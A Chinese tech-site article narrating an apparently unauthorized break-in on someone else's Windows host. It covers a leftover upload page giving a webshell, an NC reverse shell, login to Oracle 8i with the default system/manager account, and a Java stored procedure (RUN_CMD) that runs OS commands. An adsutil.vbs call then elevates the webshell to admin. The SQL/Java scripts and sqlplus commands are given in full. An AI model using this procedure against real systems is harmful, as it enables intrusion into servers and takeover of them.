通过oracle默认账户提升权限的实现方法
创始人
2024-07-16 19:31:30
0

在oracle数据库中,通过oracle默认账户也是可以提升访问权限的,下文就为您介绍一个通过oracle默认账户提升权限的例子,希望可以让您对数据库安全性方面有所启迪:

近日,偶到一主机上逛了一圈。主机的配置还算是安全,偏偏一个比较隐藏的目录下残留了upfile.asp,结果轻轻松松的得到了webshell。

接着在主机上逛了逛,拿出superscan从外面扫了下,只开放了80端口。从user\程序目录里,发现有一快捷方式:firecontrol,好象是某款硬件防火墙的控制台。WEBSHELL下检测了下开放的服务,发现一般的可提权的方法都不可行,无SERV-U等等,主机的补丁也是打到了最新。试了下传了个NC上去,反连接得到一SHELL,这下比在老兵的管理器里舒服多了。

在C盘下看到一个目录oracle,看了下C:\oracle\ora81\network\ADMIN\tnsnames.ora文件,确定了主机的服务名“xxx”,看了下版本“oracle 8i”,用数据库连接器 Provider=MSDAORA.1.Password=manager.User ID=system.DataSource=xxxx试了下默认的system账户,密码manager,结果真的就连接到了本地的oracle服务。

这下好了,oracle默认账户就像是mssql下的sa,我们来通过他来提升权限,马上编辑了几个脚本。

1.

  1. sql create or replace and compilejava source named "Util"asimport java.io.*.  
  2. import java.lang.*.   
  3. public class Util extends Object{public static int RunThis(String args)  
  4. {  
  5. Runtime rt = Runtime.getRuntime().  
  6. int rc = -1.   
  7. try{Process p = rt.exec(args).  
  8. int bufSize = 4096.  
  9. BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize).  
  10. int len.byte buffer[] = new byte[bufSize].  
  11. // Echo back what the program spit out  
  12. while ((len = bis.read(buffer, 0, bufSize)) != -1)  
  13. System.out.write(buffer, 0, len).   
  14. rc = p.waitFor().  
  15. }  
  16. catch (Exception e)  
  17. {  
  18. e.printStackTrace().  
  19. rc = -1.  
  20. }  
  21. finally{return rc.  
  22. }  
  23. }  
  24. }  
  25.  

2.

  1. sql create or replacefunction RUN_CMD(p_cmd in varchar2)  
  2. return numberaslanguage javaname Util.RunThis(java.lang.String)   
  3. return integer. 

3.

  1. sql create or replace procedure RC(p_cmd in varchar2)asx number.  
  2. beginx := run_cmd(p_cmd).  
  3. end. 

保存在c:\下,然后用反连接得到的shell运行 sqlplus system/manager@xxx然后再来执行脚本 SQL>@C:\1.sqlSQL>@C:\2.sqlSQL>@C:\3.sql看到JAVA已创建、函数已创建、过程已创建,接着我们继续 SQL> variable x number.SQL> set serveroutput onSQL> exec dbms_java.set_output(100000).SQL>grant javasyspriv to system看到授权成功。

接着我们就可以来执行系统命令了。我想先把ASP.dll加入特权一组 SQL>exec :x := RUN_CMD(cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "c:\winnt\system32\inetsrv\asp.dll" ).看到过程已经成功完成,这个时候我们重新登陆我们的webshell,他已经具有admin权限了。接着,再用NC返回一个shell,已经是管理权限的,我们可以做我们想干的事了。因为这个主机有防火墙过滤除80以外的端口,所以不好做图形的后门,只有留下一有权限的webshell。到此已经提权成功。

 

 

 

【编辑推荐】

oracle数据导出和导入的权限

Oracle用户和模式的区别

查看oracle用户权限

oracle对象权限简介

带您深入了解oracle权限管理

 

相关内容

热门资讯

如何允许远程连接到MySQL数... [[277004]]【51CTO.com快译】默认情况下,MySQL服务器仅侦听来自localhos...
如何利用交换机和端口设置来管理... 在网络管理中,总是有些人让管理员头疼。下面我们就将介绍一下一个网管员利用交换机以及端口设置等来进行D...
施耐德电气数据中心整体解决方案... 近日,全球能效管理专家施耐德电气正式启动大型体验活动“能效中国行——2012卡车巡展”,作为该活动的...
Windows恶意软件20年“... 在Windows的早期年代,病毒游走于系统之间,偶尔删除文件(但被删除的文件几乎都是可恢复的),并弹...
20个非常棒的扁平设计免费资源 Apple设备的平面图标PSD免费平板UI 平板UI套件24平图标Freen平板UI套件PSD径向平...
德国电信门户网站可实时显示全球... 德国电信周三推出一个门户网站,直观地实时提供其安装在全球各地的传感器网络检测到的网络攻击状况。该网站...
着眼MAC地址,解救无法享受D... 在安装了DHCP服务器的局域网环境中,每一台工作站在上网之前,都要先从DHCP服务器那里享受到地址动...
为啥国人偏爱 Mybatis,... 关于 SQL 和 ORM 的争论,永远都不会终止,我也一直在思考这个问题。昨天又跟群里的小伙伴进行...